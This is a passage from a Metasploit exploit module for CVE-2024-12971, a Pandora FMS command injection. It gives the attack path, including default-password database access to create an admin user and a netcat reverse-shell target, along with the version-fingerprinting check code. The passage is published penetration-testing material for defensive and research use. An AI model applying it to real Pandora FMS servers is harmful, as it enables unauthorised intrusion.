Metasploit Module: Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin
Type: exploit
Path: modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb
Platform: php
Disclosure date: 2025-03-17
References: CVE-2024-12971, URL-https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/, URL-https://attackerkb.com/topics/BJe14wkMYS/cve-2024-12971
Targets: PHP Command, Unix/Linux Command, Tiny Reverse Netcat Command (use THIS for versions <= v738)

Description:
Pandora FMS is a monitoring solution that provides full observability for your organization's
          technology. This module exploits an command injection vulnerability in the `chromium-path` or
          `phantomjs-bin` directory setting at the application settings page of Pandora FMS.
          You need have admin access at the Pandora FMS Web application in order to execute this RCE.
          This access can be achieved by knowing the admin credentials to access the web application or
          leveraging a default password vulnerability in Pandora FMS that allows an attacker to access
          the Pandora FMS MySQL database, create a new admin user and gain administrative access to the
          Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the
          MySQL services are exposed to the outside world.
          This issue affects Community, Free and Enterprise editions:
          - chromium-path: from v7.0NG.768 through <= v7.0NG.780
          - phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767

          Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738

Check method (fingerprinting):
@check_running = true
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    })
    return CheckCode::Unknown('Received unknown response.') unless res&.code == 200
    unless res.body.include?('PandoraFMS.com') || res.body.include?('Pandora FMS')
      return CheckCode::Safe('Target is not a Pandora FMS application.')
    end

    html = res.get_html_document
    full_version = html.at('div[@id="ver_num"]')
    if full_version.blank?
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Detected("Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE")
    end

    full_version = full_version.text
    version = full_version[1..].sub('NG', '')
    if version.blank?
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Detected("Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE")
    end

    version = Rex::Version.new(version)
    # check if version is between v7.0NG.768 and v7.0NG.780 where the chromium_path setting is vulnerable
    if version >= Rex::Version.new('7.0.768') && version <= Rex::Version.new('7.0.780')
      @vuln_path_setting = 'chromium_path'
      return CheckCode::Appears("Found #{@vuln_path_setting} RCE. Pandora FMS version #{full_version}")
    end
    # check if version is between v7.0NG.724 and v7.0NG.767 where the phantomjs_bin setting is vulnerable
    if version >=